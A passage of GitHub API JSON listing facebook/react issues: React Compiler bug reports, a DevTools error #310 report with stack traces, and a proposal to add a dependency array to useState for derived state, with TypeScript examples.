"default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-05-12T18:57:29Z", "updated_at": "2025-05-13T00:21:18Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAsgJ4CCADlQBQCURwAOsUXIWDkQNpcCGOKGAA0RMAhwBlHIOEBdIgF4iwhDMEIAPACMIEADYJ+mAHy00-AxPoBuVqyJEYk2MS0ATPADdTjp0wCQmBEAGShpGQAkjgIALYMAL7+TrpQODiERIQAwgZ4cADWSsAMyqbikhrBtDgwUAj0iaYUHh5aAPQ66Zlm-p1evqzJmKwY2PhZ5DHxZSxsLkIw7lSm1cLIRHUNnavDIIlAA\n\n### Repro steps\n\nI am using conditional rendering ({status && MyItem}) in my JSX. When status is changed from false to true, the application crashes due to hooks not matching between renders. It works as expected without the compiler.\n\nTo reproduce, simply press the button in the example.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n18.2.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.1", "closed_by": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33181/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33173", "id": 3056247009, "node_id": "I_kwDOAJy2Ks62KqDh", "number": 33173, "title": "[DevTools Bug] Minified React error #310; visit https://react.dev/errors/310 for the full message or use the non-minified dev environment for full errors and additional helpful warnings.", "user": { "login": "crucioo", "id": 17693532, "node_id": "MDQ6VXNlcjE3NjkzNTMy", "avatar_url": "https://avatars.githubusercontent.com/u/17693532?v=4", "gravatar_id": "", "url": "https://api.github.com/users/crucioo", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-05-12T09:10:11Z", "updated_at": "2025-06-30T21:06:19Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nWebsite:https://shangoue.meituan.com/#https://waimaieapp.meituan.com/igate/recoanalysis/dist/pc#traffic\n\n### Repro steps\n\n正常调试组件流程\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n6.1.2-4d6cf75921\n\n### Error message (automated)\n\nMinified React error #310; visit https://react.dev/errors/310 for the full message or use the non-minified dev environment for full errors and additional helpful warnings.\n\n### Error call stack (automated)\n\n```text\nat updateWorkInProgressHook (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:67241)\n at Object.updateCallback [as useCallback] (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:77030)\n at t.useCallback (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:279024)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1385327)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:65679)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96375)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110298)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:181627)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:181483)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:181267)\n```\n\n### Error component stack (automated)\n\n```text\nat InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1384551)\n at ma (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1371281)\n at div ()\n at InspectedElementErrorBoundaryWrapper (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1377591)\n at NativeStyleContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1409873)\n at div ()\n at div ()\n at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1319245)\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1353036)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1449276\n at ma (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1371281)\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1373992)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1374189\n at div ()\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1373992)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1451289)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1443080)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1265121)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1293052)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1430778)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1599996)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Minified React error #310; visit https://react.dev/errors/310 for the full message or use the non-minified dev environment for full errors and additional helpful warnings. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33173/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33075", "id": 3032691914, "node_id": "I_kwDOAJy2Ks60wzTK", "number": 33075, "title": "[Compiler Todo]: `for await` loop fails to optimize component.", "user": { "login": "suneettipirneni", "id": 77477100, "node_id": "MDQ6VXNlcjc3NDc3MTAw", "avatar_url": "https://avatars.githubusercontent.com/u/77477100?v=4", "gravatar_id": "", "url": "https://api.github.com/users/suneettipirneni", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-04-30T22:31:20Z", "updated_at": "2025-08-19T16:39:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQwCMcZ85sEATXAXgLAE8M5cAKASloD5dgAdDLiG4AZhBgEA7vgCWeVuix4xEXBBG5C+GJ36DhQgQYC+R3KYwCEADwAO4vJQQj8UADbKozbDMy4AsgwAgra2HLwCZoo4uJQQAMoQALYI2AAWMhgA5rT0TCzhNDx6BmIS+NJybNHKEKrqmtq6kfpCFm0tQjCpsIIAPJQyAG5cABIIbm6qAOribpR9APSDIwDcAhYgxkA\n\n### Repro steps\n\nReact compiler fails to optimize components that contain `for await` loops. I came across this bug while trying to deduce the cause of a significant amount of re-renders. In the react dev tools it showed the component was indeed auto-memoized, however it would still re-rerender when seeing the same props. When removing `for await` from my code the component properly memoized inputs. \n\nLater I tested this in the react compiler playground and noticed the very clear `Todo: (BuildHIR::lowerStatement) Handle for-await loops (10:12)` error message. Ideally this error could be addressed or surfaced to the user in order to prevent confusion on why a component marked as auto-memoized isn't actually being memoized.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1\n\n### What version of React Compiler are you using?\n\nrc", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33075/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33054", "id": 3028892812, "node_id": "I_kwDOAJy2Ks60iTyM", "number": 33054, "title": "[Compiler Bug]: non-null assertion on objects produces non working js", "user": { "login": "FrancescoLuzzi", "id": 81475751, "node_id": "MDQ6VXNlcjgxNDc1NzUx", "avatar_url": "https://avatars.githubusercontent.com/u/81475751?v=4", "gravatar_id": "", "url": "https://api.github.com/users/FrancescoLuzzi", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2025-04-29T16:15:42Z", "updated_at": "2026-02-19T14:28:36Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwHYBcEwGYCGiABACoJhbAA6GxxOlyxlMmA5gNy0C+ttCAB4AHCDCzE4EDJTIUsAIRgQA1gjoBeYgAoAlMQ0A+YjTqTpsgNqMsAGhYIs5SgF0DtevQBKCIlgB0UGAIAMpYBDjEADxysgA+xBhQADbJxMbaSam63BgexDCOsHTa+fRRhmWeUQBGUFhY0sTSAMLJaHAqBiZ6BsY2BlpZaQD8Dk7y2sA2yNQgNnM8+szBE5SZKcm6PMakEOzsyQjRAPR1DdKVZp7R5410ACZoYAQ1Rw8awACENjzNGG0OiotMBekYpDIIEd-Ml9tobF9-DZtsYAApsbCnO6XKpRE5Xei6Xj8DBCUTicwyCTOLAtMSFOASLRg4ymegQqw2eyrGluDRVHx+QLBMIRY4xGnEBLDdI6YY5En0QpYYo6XEEm63er3f6AzqfFkMeSDRKbYhjHmTYBGpjEOYLEDEJbEFaOGkbbI7Mj7Q7is7anHXarYx7PV7vT4-eR-VrtfWg-RGEzENB4HTIymQaGw9jw+RI+T6Hhe9GYCR4kMa8r4-JEvIYHggHhAA\n\n### Repro steps\n\nrunning the following code will result in a `Cannot read properties of null (reading 'test')`\n```ts\ninterface Test{\n test: string;\n}\n\nexport const TestBroken = () => {\n const [test, setTest] =\n React.useState < Test | null > (null);\n\n return (\n <>\n \n \n >\n )\n}\n```\n\nthis code runs fine when changing the non-null assertion into an if statement:\n```diff\n- \n+ \n```\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.1", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33054/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33050", "id": 3027098758, "node_id": "I_kwDOAJy2Ks60bdyG", "number": 33050, "title": "[Compiler]: skipped memoization due to potential modification after hook call", "user": { "login": "szhsin", "id": 41896553, "node_id": "MDQ6VXNlcjQxODk2NTUz", "avatar_url": "https://avatars.githubusercontent.com/u/41896553?v=4", "gravatar_id": "", "url": "https://api.github.com/users/szhsin", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-04-29T05:33:17Z", "updated_at": "2025-04-29T11:28:40Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyhBgngBZoB2A5gDQEAmEl1djTBAXwIAzGFQIBySNQC0AGzQAjCQG4AOgw1wIDMIVIIAwqTxUAEhAgBrAgF4CACgBuAQzlQEASjsA+IhoICbV1Cdhc8FzsiAld3BEF1TQZAmBpYZOAAwIIsMSwARmQSMm4aemYHYjCIwU8WLMDciCwAJiLOUt4KqvDIgU8sgUShjQ0EAA8cfGiDYz1zSxsRhhABIA\n\n### Repro steps\n\nCurrently, the compiler memoizes the arguments of React hooks and regular functions when the arguments are non-primitive values. However, the behavior is inconsistent, and memoization is skipped when certain conditions are met:\n\n1. The arguments passed to a React hook or regular function are non-primitive values (e.g., an object).\n2. The argument object refers to another local variable, which is also non-primitive.\n3. Both the React hook and the regular function reference the same local variable when constructing their arguments.\n\nHere is a minimal example:\n```js\nconst useCustomHook = (value) => {\n const data = { value };\n\n return {\n prop1: useSomething({ data }),\n prop2: doSomething({ data })\n };\n};\n```\n\nIn the example, memoization of the `{ data }` argument passed to both `useSomething` and `doSomething` is skipped.\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.1", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33050/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33041", "id": 3024543869, "node_id": "I_kwDOAJy2Ks60RuB9", "number": 33041, "title": "Reconsider providing a cleaner hook-based solution to derived state", "user": { "login": "aweebit", "id": 36817090, "node_id": "MDQ6VXNlcjM2ODE3MDkw", "avatar_url": "https://avatars.githubusercontent.com/u/36817090?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aweebit", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 13, "created_at": "2025-04-28T10:52:44Z", "updated_at": "2026-02-25T07:18:30Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Search terms\n\ngetDerivedStateFromProps, useState, useEffect, derived state\n\n## Previous issues\n\n- #14288\n- #14738\n- #14830\n- #15523\n- #16461\n- #17712\n\n## Essential reading\n\n- [1] [You Might Not Need an Effect > Adjusting some state when a prop changes](https://react.dev/learn/you-might-not-need-an-effect#adjusting-some-state-when-a-prop-changes)\n- [2] [You Probably Don't Need Derived State](https://legacy.reactjs.org/blog/2018/06/07/you-probably-dont-need-derived-state.html) (from the legacy docs)\n\n## Abstract / TL;DR\n\nAdjusting state when some other state changes makes sense more often than the official docs would have you believe. The pattern suggested in [1] is extremely underrated, but also unnecessarily confusing. React should offer and promote a less obscure hook-based solution to the problem so as to avoid the suggested solution's complexity and prevent developers from misemploying `useEffect`.\n\n## Motivation\n\nHere is the right way to reset state when some other state changes, as suggested in [1]:\n\n```typescript\nconst [count, setCount] = useState(initialCount);\nconst [prevInitialCount, setPrevInitialCount] = useState(initialCount);\n\nif (initialCount !== prevInitialCount) {\n setPrevInitialCount(initialCount);\n setCount(initialCount);\n}\n```\n\nThe state dependency (`initialCount` in this case) doesn't have to be defined in the same component – it can just as well be some reactive prop passed to it, or a context value it uses.\n\nFrom my experience, however, most people are either unaware of this pattern or find it too confusing to wrap their heads around, and therefore use an effect-based approach instead:\n\n```typescript\nconst [count, setCount] = useState(initialCount);\n\nuseEffect(() => {\n setCount(initialCount);\n}, [initialCount]);\n```\n\nThe prevalence of this approach is hard to overstate. Using an effect is suggested in top answers to pretty much all questions about syncing state to props on StackOverflow ([example](https://stackoverflow.com/questions/54865764/react-usestate-does-not-reload-state-from-props), [example](https://stackoverflow.com/questions/54625831/how-to-sync-props-to-state-using-react-hooks-setstate), [example](https://stackoverflow.com/questions/68730502/react-usestate-with-state-that-updates-based-on-props)). All AI assistants I've asked also suggested this as their recommended solution. But most importantly, this is the approach I see used in the wild all the time, even by devs much more experienced than I am.\n\nThe problem with the approach is that effects only run after rendering is completed and, in most cases, after its results are committed to the DOM. This results in unnecessary rerenders and inconsistent intermediate states being displayed in the UI.\n\nUnnecessary rerenders are also a drawback of the approach suggested in [1]: as explained there, if a function resetting some state is called while rendering, the render will finish, then its results are simply thrown away and a new render with the updated state begins. This is just compute time wasted for no reason! Can we really not do better than that?\n\nLet's explore the drawbacks of both approaches with a more advanced example I've come up with.\n\n
\n\n

\nThis section is pretty long. You don't have to read all of it! Expand at your own risk 😛\n

\n
\n\n```typescript\nimport {\n createContext,\n useContext,\n useEffect,\n useMemo,\n useReducer,\n useState,\n} from \"react\";\nimport { createRoot } from \"react-dom/client\";\n\nconst ClientLanguageContext = createContext(\"en\"); // English is the default\n\nfunction useClientLanguage() {\n return useContext(ClientLanguageContext);\n}\n\nfunction LanguageCheckboxes({\n additionalLanguages,\n}: {\n additionalLanguages: string[];\n}) {\n const clientLanguage = useClientLanguage();\n\n const languages = useMemo(\n () => new Set([clientLanguage, ...additionalLanguages]),\n [clientLanguage, additionalLanguages]\n );\n\n const [checkedLanguages, setCheckedLanguages] = useState(new Set());\n\n useEffect(() => {\n setCheckedLanguages((prev) => { \n // If the `languages` set has changed in a way that it no longer includes\n // some of the languages it included before, those removed languages also\n // have to be removed from `checkedLanguages`!\n\n // Compute the intersection of `languages` and previous `checkedLanguages`:\n const next = new Set(\n Array.from(prev).filter((language) => languages.has(language))\n );\n\n // Only actually adjust the value if languages have been removed:\n return next.size < prev.size ? next : prev;\n });\n }, [languages]);\n\n return (\n <>\n {Array.from(languages).map((language) => (\n
\n \n
\n ))}\n

Checked languages: {Array.from(checkedLanguages).join(\", \")}

\n >\n );\n}\n\nconst ADDITIONAL_LANGUAGES = [\"de\", \"fr\"];\n\nfunction App() {\n const [clientLanguage, setClientLanguage] = useState(\"en\");\n const [additionalLanguages, toggleAdditionalLanguages] = useReducer(\n (prev) => (prev.length ? [] : ADDITIONAL_LANGUAGES),\n ADDITIONAL_LANGUAGES\n );\n\n return (\n \n

\n Client language:\n
\n setClientLanguage(e.target.value)}\n />\n

\n

\n \n

\n \n
\n );\n}\n\ncreateRoot(document.getElementById(\"root\")!).render();\n```\n\nThis example app does not offer any useful functionality, but it is good at demonstrating all sorts of issues related to derived state. There will be more realistic examples below.\n\nAs you can see, I've chosen the wrong `useEffect` approach for this initial implementation. If you check all available languages and then click the toggle button, you will notice that “de” and “fr” disappear faster from the checkboxes than from the “Checked languages” list on the bottom, where they stay a few milliseconds longer. The reason is that the effect adjusting `checkedLanguages` is only executed after the render caused by the `additionalLanguages` update is completed and its result is reflected in the UI. This is simply how effects work in React, and the fact that we get to see an invalid state in the UI because of that is what makes the `useEffect` approach to derived state an absolute no-go. \n\nLet's now try the approach suggested in [1]:\n\n```typescript\nfunction LanguageCheckboxes({\n additionalLanguages,\n}: {\n additionalLanguages: string[];\n}) {\n const clientLanguage = useClientLanguage();\n\n const languages = useMemo(\n () => new Set([clientLanguage, ...additionalLanguages]),\n [clientLanguage, additionalLanguages]\n );\n\n const [checkedLanguages, setCheckedLanguages] = useState(new Set());\n\n const [prevLanguages, setPrevLanguages] = useState(languages);\n if (languages !== prevLanguages) {\n setPrevLanguages(languages);\n\n // If the `languages` set has changed in a way that it no longer includes\n // some of the languages it included before, those removed languages also\n // have to be removed from `checkedLanguages`!\n\n // Compute the intersection of `languages` and `checkedLanguages`:\n const nextCheckedLanguages = new Set(\n Array.from(checkedLanguages).filter((language) => languages.has(language))\n );\n\n // Only adjust `checkedLanguages` if languages have been removed:\n if (nextCheckedLanguages.size < checkedLanguages.size) {\n setCheckedLanguages(nextCheckedLanguages);\n }\n }\n\n return /* ... */;\n}\n```\n\nWell, this does seem to work, but unfortunately, it is not a good solution either. The reason is that the value of `languages` is computed with the `useMemo` hook, which, according to [the docs](https://react.dev/reference/react/useMemo), should only be used as a performance optimization. The code we write should work perfectly fine without it, but that is not the case here: since without `useMemo`, the identity of `languages` would change on every render, `setPrevLanguages(languages)` would end up being called in an infinite loop!\n\nTo overcome this complication, we have to store previous values of both inputs the `languages` variable is derived from (i.e. `clientLanguage` and `additionalLanguages`) instead of its own previous values:\n\n```typescript\nfunction LanguageCheckboxes({\n additionalLanguages,\n}: {\n additionalLanguages: string[];\n}) {\n const clientLanguage = useClientLanguage();\n\n const languages = useMemo(\n () => new Set([clientLanguage, ...additionalLanguages]),\n [clientLanguage, additionalLanguages]\n );\n\n const [checkedLanguages, setCheckedLanguages] = useState(new Set());\n\n const [prevClientLanguage, setPrevClientLanguage] = useState(clientLanguage);\n const [prevAdditionalLanguages, setPrevAdditionalLanguages] =\n useState(additionalLanguages);\n\n if (\n clientLanguage !== prevClientLanguage ||\n additionalLanguages !== prevAdditionalLanguages\n ) {\n setPrevClientLanguage(clientLanguage);\n setPrevAdditionalLanguages(additionalLanguages);\n\n // If the `languages` set has changed in a way that it no longer includes\n // some of the languages it included before, those removed languages also\n // have to be removed from `checkedLanguages`!\n\n // Compute the intersection of `languages` and `checkedLanguages`:\n const nextCheckedLanguages = new Set(\n Array.from(checkedLanguages).filter((language) => languages.has(language))\n );\n\n // Only adjust `checkedLanguages` if languages have been removed:\n if (nextCheckedLanguages.size < checkedLanguages.size) {\n setCheckedLanguages(nextCheckedLanguages);\n }\n }\n\n return /* ... */;\n}\n```\n\nThis is the correct code that I think adheres to all React's official recommendations, but oh boy, is it cumbersome, fragile and confusing! Imagine deciding to extend `languages` by elements from yet another source beside `clientLanguage` and `additionalLanguages`. How easy is it to forget to add a `prevX` state variable for this new source? The linter is not there to remind us!\n\nFurthermore, we haven't got rid of the unnecessary rerendering. The inconsistent result of the first render doesn't end up in the UI anymore and instead gets immediately thrown away as I've explained earlier, but still, that unnecessary first render does take place! Can we really not do better than that?\n\nOne idea that often comes to mind in the context of state synchronization is to use a different value for the `key` attribute whenever some input that the component's state is derived from changes. This is the recommended approach in [2], but unfortunately, it barely solves anything. There is a bunch of problems with the approach:\n\n- It is useless in the context of custom hooks since there are no components involved in their definitions, and so we cannot really supply the key anywhere.\n- Changing the key causes *all* of the component's internal state to be reset, which is rarely what we want.\n- Changing the key causes a new DOM subtree to be created for the component. Besides being quite inefficient, this can also cause unwanted side effects such as the focused input within the component not being focused anymore after the remount.\n- If the component's state is derived from more than one input values, the developer has to come up with a clever way to combine those values into a key.\n- The responsibility of forcing the state reset is transferred to the component's consumers instead of being its implementation detail.\n\nI hope this is enough to show how bad this key solution is in most cases.\n\nLet's now have a look at the alternative I suggest.\n\n
\n\n## Proposal: Extend `useState` by a dependency array\n\nThe alternative isn't new, it has been suggested before a couple of times. I particularly like this definition from #14738:\n\n> It would be useful if we could declare dependencies for `useState`, in the same way that we can for `useMemo`, and have the state reset back to the initial state if they change:\n>\n> ```javascript\n> const [choice, setChoice] = useState(options[0], [options]);\n> ```\n>\n> In order to allow preserving the current value if it's valid, React could supply `prevState` to the initial state factory function, if any exists, e.g.\n>\n> ```javascript\n> const [choice, setChoice] = useState(prevState => {\n> if (prevState && options.includes(prevState) {\n> return prevState;\n> else {\n> return options[0];\n> }\n> }, [options]);\n> ```\n\nThis is a very natural solution requiring pretty much no mind shift at all since it simply brings `useState` in line with the other hooks accepting a dependency array – a concept well-known to all React developers.\n\nThe example with `LanguageCheckboxes` from the collapsed section above has demonstrated that in certain scenarios, adjusting state based on both the new input and the previous state value is needed. That is why the `prevState` part of the proposal is especially important.\n\n\nThis is how `LanguageCheckboxes` could be simplified with it:\n\n
\nClick to show code\n\n```typescript\nfunction LanguageCheckboxes({\n additionalLanguages,\n}: {\n additionalLanguages: string[];\n}) {\n const clientLanguage = useClientLanguage();\n\n const languages = useMemo(\n () => new Set([clientLanguage, ...additionalLanguages]),\n [clientLanguage, additionalLanguages]\n );\n\n const [checkedLanguages, setCheckedLanguages] = useState>(\n (prev) => {\n if (prev === undefined) return new Set();\n\n // If the `languages` set has changed in a way that it no longer includes\n // some of the languages it included before, those removed languages also\n // have to be removed from `checkedLanguages`!\n\n // Compute the intersection of `languages` and previous `checkedLanguages`:\n const next = new Set(\n Array.from(prev).filter((language) => languages.has(language))\n );\n\n // Only actually adjust the value if languages have been removed:\n return next.size < prev.size ? next : prev;\n },\n [languages]\n );\n\n return /* ... */;\n}\n```\n
